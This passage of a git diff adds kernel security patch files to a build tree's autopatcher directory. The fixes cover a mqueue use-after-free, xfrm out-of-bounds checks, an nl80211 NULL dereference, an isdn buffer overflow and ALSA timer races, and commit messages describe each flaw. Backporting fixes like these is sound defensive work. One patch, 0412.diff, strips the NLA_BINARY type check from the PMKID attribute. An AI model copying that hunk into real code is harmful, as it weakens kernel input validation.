QCEDEV_MAX_BUFFERS; i++) { + err |= get_user(vaddr, &data32->data[i].vaddr); +- data->data[i].vaddr = 0; + err |= put_user(vaddr, (compat_uptr_t *)&data->data[i].vaddr); + err |= get_user(len, &data32->data[i].len); + err |= put_user(len, &data->data[i].len); +@@ -295,7 +290,6 @@ static int compat_get_qcedev_sha_op_req( + err |= get_user(diglen, &data32->diglen); + err |= put_user(diglen, &data->diglen); + err |= get_user(authkey, &data32->authkey); +- data->authkey = NULL; + err |= put_user(authkey, (compat_uptr_t *)&data->authkey); + err |= get_user(authklen, &data32->authklen); + err |= put_user(authklen, &data->authklen); +@@ -322,7 +316,6 @@ static int compat_put_qcedev_sha_op_req( + + for (i = 0; i < QCEDEV_MAX_BUFFERS; i++) { + err |= get_user(vaddr, (compat_uptr_t *)&data->data[i].vaddr); +- data32->data[i].vaddr = 0; + err |= put_user(vaddr, &data32->data[i].vaddr); + err |= get_user(len, &data->data[i].len); + err |= put_user(len, &data32->data[i].len); +@@ -341,7 +334,6 @@ static int compat_put_qcedev_sha_op_req( + err |= get_user(diglen, &data->diglen); + err |= put_user(diglen, &data32->diglen); + err |= get_user(authkey, (compat_uptr_t *)&data->authkey); +- data32->authkey = 0; + err |= put_user(authkey, &data32->authkey); + err |= get_user(authklen, &data->authklen); + err |= put_user(authklen, &data32->authklen); diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0411.diff b/recipes-kernel/linux/linux-bass/autopatcher/0411.diff new file mode 100644 index 0000000..7dca821 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0411.diff @@ -0,0 +1,12 @@ +diff --git a/net/wireless/nl80211.c b/net/wireless/nl80211.c +index 78b6f74..f927434 100644 +--- a/net/wireless/nl80211.c ++++ b/net/wireless/nl80211.c +@@ -365,6 +365,7 @@ + [NL80211_ATTR_SCAN_FLAGS] = { .type = NLA_U32 }, + [NL80211_ATTR_P2P_CTWINDOW] = { .type = NLA_U8 }, + [NL80211_ATTR_P2P_OPPPS] = { .type = NLA_U8 }, ++ [NL80211_ATTR_LOCAL_MESH_POWER_MODE] = {. type = NLA_U32 }, + [NL80211_ATTR_ACL_POLICY] = {. type = NLA_U32 }, + [NL80211_ATTR_MAC_ADDRS] = { .type = NLA_NESTED }, + [NL80211_ATTR_STA_CAPABILITY] = { .type = NLA_U16 }, diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0412.diff b/recipes-kernel/linux/linux-bass/autopatcher/0412.diff new file mode 100644 index 0000000..e311676 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0412.diff @@ -0,0 +1,14 @@ +diff --git a/net/wireless/nl80211.c b/net/wireless/nl80211.c +index 5112673..78b6f74 100644 +--- a/net/wireless/nl80211.c ++++ b/net/wireless/nl80211.c +@@ -310,8 +310,7 @@ + [NL80211_ATTR_WPA_VERSIONS] = { .type = NLA_U32 }, + [NL80211_ATTR_PID] = { .type = NLA_U32 }, + [NL80211_ATTR_4ADDR] = { .type = NLA_U8 }, +- [NL80211_ATTR_PMKID] = { .type = NLA_BINARY, +- .len = WLAN_PMKID_LEN }, ++ [NL80211_ATTR_PMKID] = { .len = WLAN_PMKID_LEN }, + [NL80211_ATTR_DURATION] = { .type = NLA_U32 }, + [NL80211_ATTR_COOKIE] = { .type = NLA_U64 }, + [NL80211_ATTR_TX_RATES] = { .type = NLA_NESTED }, diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0413-f991af3daaba-mqueue fix a useafterfree in sysmqnotify.patch b/recipes-kernel/linux/linux-bass/autopatcher/0413-f991af3daaba-mqueue fix a useafterfree in sysmqnotify.patch new file mode 100644 index 0000000..0635b69 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0413-f991af3daaba-mqueue fix a useafterfree in sysmqnotify.patch @@ -0,0 +1,49 @@ +From f991af3daabaecff34684fd51fac80319d1baad1 Mon Sep 17 00:00:00 2001 +From: Cong Wang +Date: Sun, 9 Jul 2017 13:19:55 -0700 +Subject: mqueue: fix a use-after-free in sys_mq_notify() + +The retry logic for netlink_attachskb() inside sys_mq_notify() +is nasty and vulnerable: + +1) The sock refcnt is already released when retry is needed +2) The fd is controllable by user-space because we already + release the file refcnt + +so we when retry but the fd has been just closed by user-space +during this small window, we end up calling netlink_detachskb() +on the error path which releases the sock again, later when +the user-space closes this socket a use-after-free could be +triggered. + +Setting 'sock' to NULL here should be sufficient to fix it. + +Reported-by: GeneBlue +Signed-off-by: Cong Wang +Cc: Andrew Morton +Cc: Manfred Spraul +Cc: stable@kernel.org +Signed-off-by: Linus Torvalds +--- + ipc/mqueue.c | 4 +++- + 1 file changed, 3 insertions(+), 1 deletion(-) + +diff --git a/ipc/mqueue.c b/ipc/mqueue.c +index c9ff943f19ab..eb1391b52c6f 100644 +--- a/ipc/mqueue.c ++++ b/ipc/mqueue.c +@@ -1270,8 +1270,10 @@ retry: + + timeo = MAX_SCHEDULE_TIMEOUT; + ret = netlink_attachskb(sock, nc, &timeo, NULL); +- if (ret == 1) ++ if (ret == 1) { ++ sock = NULL; + goto retry; ++ } + if (ret) { + sock = NULL; + nc = NULL; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0414.diff b/recipes-kernel/linux/linux-bass/autopatcher/0414.diff new file mode 100644 index 0000000..4b2dee4 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0414.diff @@ -0,0 +1,19 @@ +diff --git a/arch/x86/kernel/acpi/boot.c b/arch/x86/kernel/acpi/boot.c +index 230c8ea..ba8b7ba 100644 +--- a/arch/x86/kernel/acpi/boot.c ++++ b/arch/x86/kernel/acpi/boot.c +@@ -968,6 +968,14 @@ + struct mpc_intsrc mp_irq; + + /* ++ * Check bus_irq boundary. ++ */ ++ if (bus_irq >= NR_IRQS_LEGACY) { ++ pr_warn("Invalid bus_irq %u for legacy override\n", bus_irq); ++ return; ++ } ++ ++ /* + * Convert 'gsi' to 'ioapic.pin'. + */ + ioapic = mp_find_ioapic(gsi); diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0415-7571b7478bc9-xfrm policy check policy direction value.patch b/recipes-kernel/linux/linux-bass/autopatcher/0415-7571b7478bc9-xfrm policy check policy direction value.patch new file mode 100644 index 0000000..2320328 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0415-7571b7478bc9-xfrm policy check policy direction value.patch @@ -0,0 +1,47 @@ +From 7571b7478bc9cfecb7894d909bda5cbd0f4aae04 Mon Sep 17 00:00:00 2001 +From: Vladis Dronov +Date: Wed, 2 Aug 2017 19:50:14 +0200 +Subject: xfrm: policy: check policy direction value + +commit 7bab09631c2a303f87a7eb7e3d69e888673b9b7e upstream. + +The 'dir' parameter in xfrm_migrate() is a user-controlled byte which is used +as an array index. This can lead to an out-of-bound access, kernel lockup and +DoS. Add a check for the 'dir' value. + +This fixes CVE-2017-11600. + +References: https://bugzilla.redhat.com/show_bug.cgi?id=1474928 +Fixes: 80c9abaabf42 ("[XFRM]: Extension for dynamic update of endpoint address(es)") +Cc: # v2.6.21-rc1 +Reported-by: "bo Zhang" +Signed-off-by: Vladis Dronov +Signed-off-by: Steffen Klassert +Signed-off-by: Willy Tarreau +--- + net/xfrm/xfrm_policy.c | 6 ++++++ + 1 file changed, 6 insertions(+) + +diff --git a/net/xfrm/xfrm_policy.c b/net/xfrm/xfrm_policy.c +index ea970b8002a2..10c556e373b0 100644 +--- a/net/xfrm/xfrm_policy.c ++++ b/net/xfrm/xfrm_policy.c +@@ -3201,9 +3201,15 @@ int xfrm_migrate(const struct xfrm_selector *sel, u8 dir, u8 type, + struct xfrm_state *x_new[XFRM_MAX_DEPTH]; + struct xfrm_migrate *mp; + ++ /* Stage 0 - sanity checks */ + if ((err = xfrm_migrate_check(m, num_migrate)) < 0) + goto out; + ++ if (dir >= XFRM_POLICY_MAX) { ++ err = -EINVAL; ++ goto out; ++ } ++ + /* Stage 1 - find policy */ + if ((pol = xfrm_migrate_policy_find(sel, dir, type)) == NULL) { + err = -ENOENT; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0416-0af544097729-PATCH ANDROID check dir value of xfrmuserpolicyid.patch b/recipes-kernel/linux/linux-bass/autopatcher/0416-0af544097729-PATCH ANDROID check dir value of xfrmuserpolicyid.patch new file mode 100644 index 0000000..4327f2c --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0416-0af544097729-PATCH ANDROID check dir value of xfrmuserpolicyid.patch @@ -0,0 +1,67 @@ +From 0af5440977299a17a0f226ce00d872572a426c14 Mon Sep 17 00:00:00 2001 +From: Suren Baghdasaryan +Date: Tue, 15 Aug 2017 15:12:24 -0700 +Subject: [PATCH] ANDROID: check dir value of xfrm_userpolicy_id + +Check user provided dir value to prevent out-of-bound access +which may occur if dir is not less than XFRM_POLICY_MAX. + +(url: http://seclists.org/bugtraq/2017/Jul/30) + +Bug: 64257838 +Signed-off-by: Suren Baghdasaryan +Change-Id: I5bbdf95e14a61bdf5207977d9a5a4465bc848da0 +--- + net/xfrm/xfrm_user.c | 18 ++++++++++++++++++ + 1 file changed, 18 insertions(+) + +diff --git a/net/xfrm/xfrm_user.c b/net/xfrm/xfrm_user.c +index 3f565e495ac68..0cc105403826c 100644 +--- a/net/xfrm/xfrm_user.c ++++ b/net/xfrm/xfrm_user.c +@@ -1583,6 +1583,10 @@ static struct sk_buff *xfrm_policy_netlink(struct sk_buff *in_skb, + struct sk_buff *skb; + int err; + ++ err = verify_policy_dir(dir); ++ if (err) ++ return ERR_PTR(err); ++ + skb = nlmsg_new(NLMSG_DEFAULT_SIZE, GFP_KERNEL); + if (!skb) + return ERR_PTR(-ENOMEM); +@@ -2129,6 +2133,10 @@ static int xfrm_do_migrate(struct sk_buff *skb, struct nlmsghdr *nlh, + int err; + int n = 0; + ++ err = verify_policy_dir(pi->dir); ++ if (err) ++ return err; ++ + if (attrs[XFRMA_MIGRATE] == NULL) + return -EINVAL; + +@@ -2243,6 +2251,11 @@ static int xfrm_send_migrate(const struct xfrm_selector *sel, u8 dir, u8 type, + { + struct net *net = &init_net; + struct sk_buff *skb; ++ int err; ++ ++ err = verify_policy_dir(dir); ++ if (err) ++ return err; + + skb = nlmsg_new(xfrm_migrate_msgsize(num_migrate, !!k), GFP_ATOMIC); + if (skb == NULL) +@@ -2871,6 +2884,11 @@ static int xfrm_notify_policy_flush(const struct km_event *c) + + static int xfrm_send_policy_notify(struct xfrm_policy *xp, int dir, const struct km_event *c) + { ++ int err; ++ ++ err = verify_policy_dir(dir); ++ if (err) ++ return err; + + switch (c->event) { + case XFRM_MSG_NEWPOLICY: diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0417-44ec968933c5-nl80211 check for the required netlink attributes presence.patch b/recipes-kernel/linux/linux-bass/autopatcher/0417-44ec968933c5-nl80211 check for the required netlink attributes presence.patch new file mode 100644 index 0000000..bf840bf --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0417-44ec968933c5-nl80211 check for the required netlink attributes presence.patch @@ -0,0 +1,44 @@ +From 44ec968933c5d5041fbdff2e93a2f769435f9607 Mon Sep 17 00:00:00 2001 +From: Vladis Dronov +Date: Wed, 13 Sep 2017 00:21:21 +0200 +Subject: nl80211: check for the required netlink attributes presence + +commit e785fa0a164aa11001cba931367c7f94ffaff888 upstream. + +nl80211_set_rekey_data() does not check if the required attributes +NL80211_REKEY_DATA_{REPLAY_CTR,KEK,KCK} are present when processing +NL80211_CMD_SET_REKEY_OFFLOAD request. This request can be issued by +users with CAP_NET_ADMIN privilege and may result in NULL dereference +and a system crash. Add a check for the required attributes presence. +This patch is based on the patch by bo Zhang. + +This fixes CVE-2017-12153. + +References: https://bugzilla.redhat.com/show_bug.cgi?id=1491046 +Fixes: e5497d766ad ("cfg80211/nl80211: support GTK rekey offload") +Cc: # v3.1-rc1 +Reported-by: bo Zhang +Signed-off-by: Vladis Dronov +Signed-off-by: Johannes Berg +Signed-off-by: Willy Tarreau +--- + net/wireless/nl80211.c | 3 +++ + 1 file changed, 3 insertions(+) + +diff --git a/net/wireless/nl80211.c b/net/wireless/nl80211.c +index dd3dbed89c8f..32c5443514cf 100644 +--- a/net/wireless/nl80211.c ++++ b/net/wireless/nl80211.c +@@ -8010,6 +8010,9 @@ static int nl80211_set_rekey_data(struct sk_buff *skb, struct genl_info *info) + if (err) + return err; + ++ if (!tb[NL80211_REKEY_DATA_REPLAY_CTR] || !tb[NL80211_REKEY_DATA_KEK] || ++ !tb[NL80211_REKEY_DATA_KCK]) ++ return -EINVAL; + if (nla_len(tb[NL80211_REKEY_DATA_REPLAY_CTR]) != NL80211_REPLAY_CTR_LEN) + return -ERANGE; + if (nla_len(tb[NL80211_REKEY_DATA_KEK]) != NL80211_KEK_LEN) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0418-9f5af546e6ac-isdni4l fix buffer overflow.patch b/recipes-kernel/linux/linux-bass/autopatcher/0418-9f5af546e6ac-isdni4l fix buffer overflow.patch new file mode 100644 index 0000000..0453d41 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0418-9f5af546e6ac-isdni4l fix buffer overflow.patch @@ -0,0 +1,55 @@ +From 9f5af546e6acc30f075828cb58c7f09665033967 Mon Sep 17 00:00:00 2001 +From: Annie Cherkaev +Date: Sat, 15 Jul 2017 15:08:58 -0600 +Subject: isdn/i4l: fix buffer overflow + +This fixes a potential buffer overflow in isdn_net.c caused by an +unbounded strcpy. + +[ ISDN seems to be effectively unmaintained, and the I4L driver in + particular is long deprecated, but in case somebody uses this.. + - Linus ] + +Signed-off-by: Jiten Thakkar +Signed-off-by: Annie Cherkaev +Cc: Karsten Keil +Cc: Kees Cook +Cc: stable@kernel.org +Signed-off-by: Linus Torvalds +--- + drivers/isdn/i4l/isdn_common.c | 1 + + drivers/isdn/i4l/isdn_net.c | 5 ++--- + 2 files changed, 3 insertions(+), 3 deletions(-) + +diff --git a/drivers/isdn/i4l/isdn_common.c b/drivers/isdn/i4l/isdn_common.c +index 89b09c51ab7c..38a5bb764c7b 100644 +--- a/drivers/isdn/i4l/isdn_common.c ++++ b/drivers/isdn/i4l/isdn_common.c +@@ -1376,6 +1376,7 @@ isdn_ioctl(struct file *file, uint cmd, ulong arg) + if (arg) { + if (copy_from_user(bname, argp, sizeof(bname) - 1)) + return -EFAULT; ++ bname[sizeof(bname)-1] = 0; + } else + return -EINVAL; + ret = mutex_lock_interruptible(&dev->mtx); +diff --git a/drivers/isdn/i4l/isdn_net.c b/drivers/isdn/i4l/isdn_net.c +index c151c6daa67e..f63a110b7bcb 100644 +--- a/drivers/isdn/i4l/isdn_net.c ++++ b/drivers/isdn/i4l/isdn_net.c +@@ -2611,10 +2611,9 @@ isdn_net_newslave(char *parm) + char newname[10]; + + if (p) { +- /* Slave-Name MUST not be empty */ +- if (!strlen(p + 1)) ++ /* Slave-Name MUST not be empty or overflow 'newname' */ ++ if (strscpy(newname, p + 1, sizeof(newname)) <= 0) + return NULL; +- strcpy(newname, p + 1); + *p = 0; + /* Master must already exist */ + if (!(n = isdn_net_findif(parm))) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0419-aa469e2bae1d-PATCH ANDROID usb gadget fmtp Return error if count is.patch b/recipes-kernel/linux/linux-bass/autopatcher/0419-aa469e2bae1d-PATCH ANDROID usb gadget fmtp Return error if count is.patch new file mode 100644 index 0000000..acfb448 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0419-aa469e2bae1d-PATCH ANDROID usb gadget fmtp Return error if count is.patch @@ -0,0 +1,50 @@ +From aa469e2bae1d36ecc7cf8425577627dbc4641493 Mon Sep 17 00:00:00 2001 +From: Jerry Zhang +Date: Mon, 25 Sep 2017 18:14:51 -0700 +Subject: [PATCH] ANDROID: usb: gadget: f_mtp: Return error if count is + negative + +If the user passes in a negative file size in a int64, +this will compare to be smaller than buffer length, +and it will get truncated to form a read length that +is larger than the buffer length. + +To fix, return -EINVAL if the count argument is negative, +so the loop will never happen. + +Bug: 37429972 +Test: Test with PoC +Change-Id: I5d52e38e6fbe2c17eb8c493f9eb81df6cfd780a4 +Signed-off-by: Jerry Zhang +--- + drivers/usb/gadget/f_mtp.c | 10 ++++++++++ + 1 file changed, 10 insertions(+) + +diff --git a/drivers/usb/gadget/f_mtp.c b/drivers/usb/gadget/f_mtp.c +index 5a06296aaded6..37f171d2ff3be 100644 +--- a/drivers/usb/gadget/f_mtp.c ++++ b/drivers/usb/gadget/f_mtp.c +@@ -767,6 +767,11 @@ static void send_file_work(struct work_struct *data) + offset = dev->xfer_file_offset; + count = dev->xfer_file_length; + ++ if (count < 0) { ++ dev->xfer_result = -EINVAL; ++ return; ++ } ++ + DBG(cdev, "send_file_work(%lld %lld)\n", offset, count); + + if (dev->xfer_send_header) { +@@ -869,6 +874,11 @@ static void receive_file_work(struct work_struct *data) + offset = dev->xfer_file_offset; + count = dev->xfer_file_length; + ++ if (count < 0) { ++ dev->xfer_result = -EINVAL; ++ return; ++ } ++ + DBG(cdev, "receive_file_work(%lld)\n", count); + if (!IS_ALIGNED(count, dev->ep_out->maxpacket)) + DBG(cdev, "%s- count(%lld) not multiple of mtu(%d)\n", __func__, diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0420-cbba392b1097-PATCH UPSTREAM ALSA timer Fix wrong instance passed to slave.patch b/recipes-kernel/linux/linux-bass/autopatcher/0420-cbba392b1097-PATCH UPSTREAM ALSA timer Fix wrong instance passed to slave.patch new file mode 100644 index 0000000..93df34c --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0420-cbba392b1097-PATCH UPSTREAM ALSA timer Fix wrong instance passed to slave.patch @@ -0,0 +1,39 @@ +From cbba392b1097b10204b6268373f08c84266bf2b7 Mon Sep 17 00:00:00 2001 +From: Takashi Iwai +Date: Mon, 8 Feb 2016 17:36:25 +0100 +Subject: [PATCH] UPSTREAM: ALSA: timer: Fix wrong instance passed to slave + callbacks + +commit 117159f0b9d392fb433a7871426fad50317f06f7 upstream. + +In snd_timer_notify1(), the wrong timer instance was passed for slave +ccallback function. This leads to the access to the wrong data when +an incompatible master is handled (e.g. the master is the sequencer +timer and the slave is a user timer), as spotted by syzkaller fuzzer. + +This patch fixes that wrong assignment. + +Bug: 37240993 +Change-Id: I7a9f258f13d500776725f2383136dabcb563a0d3 +BugLink: http://lkml.kernel.org/r/CACT4Y+Y_Bm+7epAb=8Wi=AaWd+DYS7qawX52qxdCfOfY49vozQ@mail.gmail.com +Reported-by: Dmitry Vyukov +Signed-off-by: Takashi Iwai +Signed-off-by: Greg Kroah-Hartman +Signed-off-by: Siqi Lin +--- + sound/core/timer.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/sound/core/timer.c b/sound/core/timer.c +index 90a8f909c7a7b..127ef3d435eaa 100644 +--- a/sound/core/timer.c ++++ b/sound/core/timer.c +@@ -415,7 +415,7 @@ static void snd_timer_notify1(struct snd_timer_instance *ti, int event) + spin_lock_irqsave(&timer->lock, flags); + list_for_each_entry(ts, &ti->slave_active_head, active_list) + if (ts->ccallback) +- ts->ccallback(ti, event + 100, &tstamp, resolution); ++ ts->ccallback(ts, event + 100, &tstamp, resolution); + spin_unlock_irqrestore(&timer->lock, flags); + } + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0421-3fa000957bd3-PATCH BACKPORT ALSA timer Handle disconnection more safely.patch b/recipes-kernel/linux/linux-bass/autopatcher/0421-3fa000957bd3-PATCH BACKPORT ALSA timer Handle disconnection more safely.patch new file mode 100644 index 0000000..ae616d0 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0421-3fa000957bd3-PATCH BACKPORT ALSA timer Handle disconnection more safely.patch @@ -0,0 +1,189 @@ +From 3fa000957bd3f1f75d31b03adab75dddd14301b7 Mon Sep 17 00:00:00 2001 +From: Takashi Iwai +Date: Thu, 21 Jan 2016 17:19:31 +0100 +Subject: [PATCH] BACKPORT: ALSA: timer: Handle disconnection more safely + +[ Upstream commit 230323dac060123c340cf75997971145a42661ee ] + +Currently ALSA timer device doesn't take the disconnection into +account very well; it merely unlinks the timer device at disconnection +callback but does nothing else. Because of this, when an application +accessing the timer device is disconnected, it may release the +resource before actually closed. In most cases, it results in a +warning message indicating a leftover timer instance like: + ALSA: timer xxxx is busy? +But basically this is an open race. + +This patch tries to address it. The strategy is like other ALSA +devices: namely, +- Manage card's refcount at each open/close +- Wake up the pending tasks at disconnection +- Check the shutdown flag appropriately at each possible call + +Note that this patch has one ugly hack to handle the wakeup of pending +tasks. It'd be cleaner to introduce a new disconnect op to +snd_timer_instance ops. But since it would lead to internal ABI +breakage and it eventually increase my own work when backporting to +stable kernels, I took a different path to implement locally in +timer.c. A cleanup patch will follow at next for 4.5 kernel. + +Bug: 37240993 +Change-Id: I05c7f0e7d28b63fc343091f800ceae9ec2afe4a4 +Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=109431 +Cc: # v3.15+ +Signed-off-by: Takashi Iwai +Signed-off-by: Sasha Levin +Signed-off-by: Siqi Lin +(cherry picked from commit 230323dac060123c340cf75997971145a42661ee) +--- + sound/core/timer.c | 48 ++++++++++++++++++++++++++++++++++++++++++++++ + 1 file changed, 48 insertions(+) + +diff --git a/sound/core/timer.c b/sound/core/timer.c +index 127ef3d435eaa..11ff502c3da60 100644 +--- a/sound/core/timer.c ++++ b/sound/core/timer.c +@@ -65,6 +65,7 @@ struct snd_timer_user { + int qtail; + int qused; + int queue_size; ++ bool disconnected; + struct snd_timer_read *queue; + struct snd_timer_tread *tqueue; + spinlock_t qlock; +@@ -289,6 +290,9 @@ int snd_timer_open(struct snd_timer_instance **ti, + mutex_unlock(®ister_mutex); + return -ENOMEM; + } ++ /* take a card refcount for safe disconnection */ ++ if (timer->card) ++ get_device(timer->card->card_dev); + timeri->slave_class = tid->dev_sclass; + timeri->slave_id = slave_id; + if (list_empty(&timer->open_list_head) && timer->hw.open) +@@ -359,6 +363,9 @@ int snd_timer_close(struct snd_timer_instance *timeri) + } + spin_unlock(&timer->lock); + spin_unlock_irq(&slave_active_lock); ++ /* release a card refcount for safe disconnection */ ++ if (timer->card) ++ put_device(timer->card->card_dev); + mutex_unlock(®ister_mutex); + } + out: +@@ -474,6 +481,8 @@ int snd_timer_start(struct snd_timer_instance *timeri, unsigned int ticks) + timer = timeri->timer; + if (timer == NULL) + return -EINVAL; ++ if (timer->card && timer->card->shutdown) ++ return -ENODEV; + spin_lock_irqsave(&timer->lock, flags); + timeri->ticks = timeri->cticks = ticks; + timeri->pticks = 0; +@@ -508,6 +517,10 @@ static int _snd_timer_stop(struct snd_timer_instance * timeri, + spin_lock_irqsave(&timer->lock, flags); + list_del_init(&timeri->ack_list); + list_del_init(&timeri->active_list); ++ if (timer->card && timer->card->shutdown) { ++ spin_unlock_irqrestore(&timer->lock, flags); ++ return 0; ++ } + if ((timeri->flags & SNDRV_TIMER_IFLG_RUNNING) && + !(--timer->running)) { + timer->hw.stop(timer); +@@ -570,6 +583,8 @@ int snd_timer_continue(struct snd_timer_instance *timeri) + timer = timeri->timer; + if (! timer) + return -EINVAL; ++ if (timer->card && timer->card->shutdown) ++ return -ENODEV; + spin_lock_irqsave(&timer->lock, flags); + if (!timeri->cticks) + timeri->cticks = 1; +@@ -633,6 +648,9 @@ static void snd_timer_tasklet(unsigned long arg) + unsigned long resolution, ticks; + unsigned long flags; + ++ if (timer->card && timer->card->shutdown) ++ return; ++ + spin_lock_irqsave(&timer->lock, flags); + /* now process all callbacks */ + while (!list_empty(&timer->sack_list_head)) { +@@ -673,6 +691,9 @@ void snd_timer_interrupt(struct snd_timer * timer, unsigned long ticks_left) + if (timer == NULL) + return; + ++ if (timer->card && timer->card->shutdown) ++ return; ++ + spin_lock_irqsave(&timer->lock, flags); + + /* remember the current resolution */ +@@ -885,11 +906,28 @@ static int snd_timer_dev_register(struct snd_device *dev) + return 0; + } + ++/* just for reference in snd_timer_dev_disconnect() below */ ++static void snd_timer_user_ccallback(struct snd_timer_instance *timeri, ++ int event, struct timespec *tstamp, ++ unsigned long resolution); ++ + static int snd_timer_dev_disconnect(struct snd_device *device) + { + struct snd_timer *timer = device->device_data; ++ struct snd_timer_instance *ti; ++ + mutex_lock(®ister_mutex); + list_del_init(&timer->device_list); ++ /* wake up pending sleepers */ ++ list_for_each_entry(ti, &timer->open_list_head, open_list) { ++ /* FIXME: better to have a ti.disconnect() op */ ++ if (ti->ccallback == snd_timer_user_ccallback) { ++ struct snd_timer_user *tu = ti->callback_data; ++ ++ tu->disconnected = true; ++ wake_up(&tu->qchange_sleep); ++ } ++ } + mutex_unlock(®ister_mutex); + return 0; + } +@@ -900,6 +938,8 @@ void snd_timer_notify(struct snd_timer *timer, int event, struct timespec *tstam + unsigned long resolution = 0; + struct snd_timer_instance *ti, *ts; + ++ if (timer->card && timer->card->shutdown) ++ return; + if (! (timer->hw.flags & SNDRV_TIMER_HW_SLAVE)) + return; + if (snd_BUG_ON(event < SNDRV_TIMER_EVENT_MSTART || +@@ -1060,6 +1100,8 @@ static void snd_timer_proc_read(struct snd_info_entry *entry, + + mutex_lock(®ister_mutex); + list_for_each_entry(timer, &snd_timer_list, device_list) { ++ if (timer->card && timer->card->shutdown) ++ continue; + switch (timer->tmr_class) { + case SNDRV_TIMER_CLASS_GLOBAL: + snd_iprintf(buffer, "G%i: ", timer->tmr_device); +@@ -1892,6 +1934,10 @@ static ssize_t snd_timer_user_read(struct file *file, char __user *buffer, + + remove_wait_queue(&tu->qchange_sleep, &wait); + ++ if (tu->disconnected) { ++ err = -ENODEV; ++ break; ++ } + if (signal_pending(current)) { + err = -ERESTARTSYS; + break; +@@ -1942,6 +1988,8 @@ static unsigned int snd_timer_user_poll(struct file *file, poll_table * wait) + mask = 0; + if (tu->qused) + mask |= POLLIN | POLLRDNORM; ++ if (tu->disconnected) ++ mask |= POLLERR; + + return mask; + } diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0422-babbb1fc0e27-PATCH UPSTREAM ALSA timer Code cleanup.patch b/recipes-kernel/linux/linux-bass/autopatcher/0422-babbb1fc0e27-PATCH UPSTREAM ALSA timer Code cleanup.patch new file mode 100644 index 0000000..19004f4 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0422-babbb1fc0e27-PATCH UPSTREAM ALSA timer Code cleanup.patch @@ -0,0 +1,102 @@ +From babbb1fc0e276e4fb989ef9246a63e55a2330b38 Mon Sep 17 00:00:00 2001 +From: Takashi Iwai +Date: Thu, 14 Jan 2016 17:01:46 +0100 +Subject: [PATCH] UPSTREAM: ALSA: timer: Code cleanup + +commit c3b1681375dc6e71d89a3ae00cc3ce9e775a8917 upstream. + +This is a minor code cleanup without any functional changes: +- Kill keep_flag argument from _snd_timer_stop(), as all callers pass + only it false. +- Remove redundant NULL check in _snd_timer_stop(). + +Bug: 37240993 +Change-Id: Idc3778ca1cd62b8c22e2a57b3c1130fe7b3d13f6 +Signed-off-by: Takashi Iwai +Signed-off-by: Greg Kroah-Hartman +Signed-off-by: Siqi Lin +--- + sound/core/timer.c | 28 +++++++++++----------------- + 1 file changed, 11 insertions(+), 17 deletions(-) + +diff --git a/sound/core/timer.c b/sound/core/timer.c +index 539e8bdb5b6c5..ce151185c42af 100644 +--- a/sound/core/timer.c ++++ b/sound/core/timer.c +@@ -304,8 +304,7 @@ int snd_timer_open(struct snd_timer_instance **ti, + return 0; + } + +-static int _snd_timer_stop(struct snd_timer_instance *timeri, +- int keep_flag, int event); ++static int _snd_timer_stop(struct snd_timer_instance *timeri, int event); + + /* + * close a timer instance +@@ -347,7 +346,7 @@ int snd_timer_close(struct snd_timer_instance *timeri) + spin_unlock_irq(&timer->lock); + mutex_lock(®ister_mutex); + list_del(&timeri->open_list); +- if (timer && list_empty(&timer->open_list_head) && ++ if (list_empty(&timer->open_list_head) && + timer->hw.close) + timer->hw.close(timer); + /* remove slave links */ +@@ -492,8 +491,7 @@ int snd_timer_start(struct snd_timer_instance *timeri, unsigned int ticks) + return result; + } + +-static int _snd_timer_stop(struct snd_timer_instance * timeri, +- int keep_flag, int event) ++static int _snd_timer_stop(struct snd_timer_instance *timeri, int event) + { + struct snd_timer *timer; + unsigned long flags; +@@ -502,13 +500,11 @@ static int _snd_timer_stop(struct snd_timer_instance * timeri, + return -ENXIO; + + if (timeri->flags & SNDRV_TIMER_IFLG_SLAVE) { +- if (!keep_flag) { +- spin_lock_irqsave(&slave_active_lock, flags); +- timeri->flags &= ~SNDRV_TIMER_IFLG_RUNNING; +- list_del_init(&timeri->ack_list); +- list_del_init(&timeri->active_list); +- spin_unlock_irqrestore(&slave_active_lock, flags); +- } ++ spin_lock_irqsave(&slave_active_lock, flags); ++ timeri->flags &= ~SNDRV_TIMER_IFLG_RUNNING; ++ list_del_init(&timeri->ack_list); ++ list_del_init(&timeri->active_list); ++ spin_unlock_irqrestore(&slave_active_lock, flags); + goto __end; + } + timer = timeri->timer; +@@ -533,9 +529,7 @@ static int _snd_timer_stop(struct snd_timer_instance * timeri, + } + } + } +- if (!keep_flag) +- timeri->flags &= +- ~(SNDRV_TIMER_IFLG_RUNNING | SNDRV_TIMER_IFLG_START); ++ timeri->flags &= ~(SNDRV_TIMER_IFLG_RUNNING | SNDRV_TIMER_IFLG_START); + spin_unlock_irqrestore(&timer->lock, flags); + __end: + if (event != SNDRV_TIMER_EVENT_RESOLUTION) +@@ -554,7 +548,7 @@ int snd_timer_stop(struct snd_timer_instance *timeri) + unsigned long flags; + int err; + +- err = 